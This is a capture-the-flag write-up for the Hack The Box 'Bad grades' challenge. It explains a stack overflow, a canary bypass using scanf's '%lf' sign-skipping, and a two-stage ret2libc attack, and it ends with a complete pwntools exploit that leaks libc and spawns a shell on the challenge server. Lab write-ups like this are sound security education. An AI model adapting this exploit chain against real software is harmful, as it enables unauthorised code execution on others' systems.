Hack The Box - Bad grades

Challenge description

"You are not interested in studying for school anymore, you only play CTFs and challenges! Your grades fell off a cliff! I will take your laptop away if you continue like this". You need to do something to raise them before your parents ground you forever..

We are given two files, the actul binary and a libc.so.6 file. After running checksec on the binary, we see that it is a 64-bit binary with NO PIE and Canary enabled

After decompiling the binary with Ida we see an intresting function.

function

Buffer overflow vulnerability

This function is reading an input from the user with scanf(‘%d’,&v7) which is used to assign the number of grades you want to input later which are then stored in the v10 buffer. After that the function calculates and prints the average of the grades (not inportant).

The buffer overflow vulnerability comes from the fact that we can first input a number bigger than 33 and then input a number of grades bigger than 33 which will overflow the v10 buffer.

Canary bypass

Ok, so now we have a buffer overflow, and we whant to leverage it into a return to libc attack. But how can we bypass the canary in order to gat to RIP?

After searching for a while I found this article : https://rehex.ninja/posts/scanf-and-hateful-dot/ in which I found out that scanf with the %lf format specifier ignores the sighs ”+”, ”-”, ”.” and if we give one of these signs as input we can basically skip a pozition on the stack where the canary is stored and so bypass it.

Return to Libc

Now that we have a way to bypass the canary we can use the buffer overflow to overwrite the return address with the address of the system function and the argument with the address of the string “/bin/sh” in the libc file.

(Note: It took some trial and error to find out from which offset the number inputed as grades will overwrite the return address)

Of course, we need a way to find out the base address of libc and also how does the binary interpret the float numbers given as input in order to enter the correct number that corresponds to the address we want. For that I used this function:

def get_ready(raw_data):
    val = p64(raw_data).hex()
    return (struct.unpack("d", bytes.fromhex(val))[0])

How this works is:

  • Get an hex value of your choosing
  • Pack it
  • Get the packing hexadecimal value
  • Unpack it to double !! (not float, there is differences between c and python double/float types)

After that It is a pretty straight forward ret2libc attack.

  1. We make a rop chain that leaks the address of puts (which we use to calculate the base address of libc) and then jump back to main in order to pop a shell.

  2. We make a second rop chain that calls system with the argument /bin/sh.

Final exploit

from pwn import *

context.terminal=['terminator', '-x', 'sh', '-c']
# context.log_level = 'debug'

elf = context.binary = ELF('./bad_grades_patched')
rop=ROP(elf)
# p=process('./bad_grades_patched')
p=remote('94.237.59.193',59078) 
libc=ELF('./libc.so.6')
 
# p = gdb.debug('./bad_grades_patched', '''
#               continue
#               ''')


def get_ready(raw_data):
    val = p64(raw_data).hex()
    return (struct.unpack("d", bytes.fromhex(val))[0])

main_addr = 0x00401108
payloads = [
    get_ready(rop.find_gadget(["pop rdi"])[0]),
    get_ready(elf.got["puts"]),
    get_ready(elf.plt["puts"]),
    get_ready(main_addr)
]
####################FIRST STEP################################
p.recvuntil(b'> ')
p.sendline(b'2')
p.sendline(b'39') # number of grades 33+2+4=39

for i in range(33):
    p.sendline(b'2')

p.sendline(b'-')
p.sendline(b'2')
for payload in payloads:
    p.recvuntil(b": ")
    p.sendline("{}".format(payload))

print(p.recvline())
puts_leak = u64(p.recvline().strip().ljust(8, b'\x00'))
log.info("puts leak: {}".format(hex(puts_leak)))
######################SECOND STEP###############################################
libc.address = puts_leak - libc.sym["puts"]

log.info("libc base: {}".format(hex(libc.address)))

rop2 = ROP(libc)
pop_rdi = rop2.find_gadget(["pop rdi", "ret"])[0]
bin_sh  = next(libc.search(b"/bin/sh"))
extra_ret = rop2.find_gadget(["ret"])[0]
system_addr = libc.symbols.system

log.info("pop rdi: {}".format(hex(pop_rdi)))
log.info("bin_sh: {}".format(hex(bin_sh)))
log.info("extra_ret: {}".format(hex(extra_ret)))
log.info("system_addr: {}".format(hex(system_addr)))


payloads = [
    get_ready(pop_rdi),
    get_ready(bin_sh),
    get_ready(extra_ret),
    get_ready(system_addr),
]

p.recvuntil(b'> ')
p.sendline(b'2')
p.sendline(b'39') # number of grades 33+2+4=39

for i in range(33):
    p.sendline(b'2')

p.sendline(b'-')
p.sendline(b'2')
for payload in payloads:
    p.recvuntil(b": ")
    p.sendline("{}".format(payload))

p.interactive() 

It is important to mention that for some reson I could not get the exploit to work on my local machine, but it worked on the remote server.

Conclusion

This was a fun challenge that I enjoyed a lot. I learned a lot of new things and I hope you did too. If you have any questions or suggestions feel free to contact me.